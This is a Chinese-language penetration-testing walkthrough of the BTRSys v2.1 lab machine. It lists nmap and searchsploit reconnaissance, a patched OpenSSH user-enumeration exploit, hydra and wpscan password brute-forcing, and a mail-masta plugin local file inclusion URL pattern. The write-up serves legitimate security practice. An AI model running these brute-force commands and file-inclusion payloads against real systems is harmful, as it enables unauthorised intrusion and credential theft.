靶机官网:BTRSys: v2.1[1]
实战思路:
一、主机发现
二、端口发现(服务、组件、版本)
三、漏洞发现(获取权限)
21端口/FTP服务
组件漏洞
口令漏洞
22端口/SSH服务
组件漏洞
口令漏洞
80端口/HTTP服务
组件漏洞
URL漏洞(目录、文件)
四、提升权限
www-data用户
sudo
suid
cron
内核提权
信息收集
btrisk用户
sudo
本次攻击指定IP,不涉及主机发现过程。
使用命令sudo -u root nmap 172.16.33.51 -n -Pn -p- --reason -sV -sC -O
,发现主机开放的端口、提供的服务、使用的组件、组件的版本。
开放的端口 |
提供的服务 |
使用的组件 |
组件的版本 |
21/tcp |
ftp |
vsftpd |
3.0.3 |
22/tcp |
Ssh |
OpenSSH |
7.2p2 |
80/tcp |
http |
Apache httpd |
2.4.18 |
- |
os |
Ubuntu Linux |
? |
使用命令searchsploit vsftpd 3.0.3
和searchsploit vsftpd 3
发现vsftpd 3.0.3组件存在拒绝服务漏洞,无法用于获取权限。
使用命令ftp 172.16.33.51
连接FTP服务,使用匿名账号anonymous
和空口令
登录,使用命令ls -la
查看文件情况,发现啥也没有,使用命令quit
退出FTP服务。
使用命令searchsploit OpenSSH 7.2p2
和searchsploit OpensSH 7.
发现OpenSSH 7.2p2组件存在用户名枚举漏洞。
使用命令searchsploit -m 40136
将EXP复制到当前路径,发现EXP是没被验证过的,那得当心里面有rf -rf /
命令或者反弹shell命令呀。
使用命令less 40136.py
查看EXP代码,未发现恶意代码,同时通过print
语句格式发现用的是python3语言。
使用命令python3 40136.py
获取脚本的参数,根据参数构造命令python3 40136.py --userlist /usr/share/seclists/Usernames/top-usernames-shortlist.txt 172.16.33.51
枚举用户名,发现报错AttributeError: module 'time' has no attribute 'clock'
,原来是我的python版本的time模块没有clock方法。
查阅文档Python Time[2]发现自3.8版本起Python的time模块就没有clock方法了,官方推荐使用perf_counter方法或process_time方法代替。
❝Deprecated since version 3.3, will be removed in version 3.8: The behaviour of this function depends on the platform: use perf_counter() or process_time() instead, depending on your requirements, to have a well defined behaviour.
使用命令sed -i 's/time.clock()/time.perf_counter()/g' 40136.py
修改EXP,将time.clock()全部改为time.perf_counter()。
使用命令python3 40136.py --userlist /usr/share/seclists/Usernames/top-usernames-shortlist.txt 172.16.33.51
枚举用户名,但是结果不准,还是放弃吧。
使用命令hydra -C /usr/share/seclists/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt 172.16.33.51 ssh
爆破账号密码,无收获。
01、中间件组件:使用命令searchsploit Apache httpd 2.4.18
和searchsploit Apache httpd 2.4.
,未发现组件Apache httpd 2.4.18的Nday漏洞。
02、应用组件:使用Wappalyzer、FindSomething等浏览器插件自动识别应用组件,使用BurpSuite等工具手动识别应用组件,无收获。
01、直接访问:浏览器打开http://172.16.33.51/
,只有一张蛇身的动图,差点把我给恶心死。
02、目录扫描:使用命令dirb http://172.16.33.51/
扫描网站的目录和文件,通过/robots.txt
文件和/wordpress/
目录发现存在WordPress CMS,通过LICENSE
文件和/upload/
目录发现存在Lepton CMS。
使用命令wpscan --url http://172.16.33.51/wordpress/
扫描WordPress CMS,逐个查看扫描结果:Headers
获得的中间件信息,前面已经排查过没有Nday漏洞;XML-RPC
提供的参考链接打开都没内容,先跳过;WordPress readme
是WordPress默认页面,除了版本信息以外没啥有用内容;Upload directory
逛了一圈,是空的;WP-Cron
看了下是拒绝服务漏洞,无法用于获取权限。
WordPress version
通过命令searchsploit WordPress 3.9.14
查找EXP,发现要么是插件的漏洞,要么是拒绝服务和文件删除等无法获取权限的漏洞,只有一个41497.php
用户名枚举漏洞有点价值,但是构造请求后却返回404,看来漏洞是被修复了?WordPress theme
的twentyfourteen网上查了下是XSS漏洞,既不能获取权限,构造请求后也是404,看来漏洞也被修复了?
Plugin
的mail-masta网上查了下有本地文件包含漏洞,URL是/WordPress目录/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=文件地址
,构造请求后可以成功利用。
对于/etc/passwd中有SHELL权限的SSH账号,通过密码爆破,未获得SSH密码。
对于本地文件包含漏洞,通过BurpSuite的Intruder爆破本地文件,未发现敏感信息、未发现我们可以写入的日志文件从而进行远程代码执行攻击。
事后总结发现,SSH爆破失败是密码本不行,kali现有SSH字典都是账号和密码组合在一起的,提取出密码部分重新爆破一次,就能爆出弱口令了。
使用命令wpscan --url http://172.16.33.51/wordpress/ --enumerate u
爆破WordPress后台的账号,发现账号btrisk
和admin
。
使用命令wpscan --url http://172.16.33.51/wordpress/ --usernames admin,btrisk --passwords /usr/share/seclists/Passwords/Common-Credentials/common-passwords-win.txt
爆破WordPress后台的密码,发现账号admin
的密码是admin
。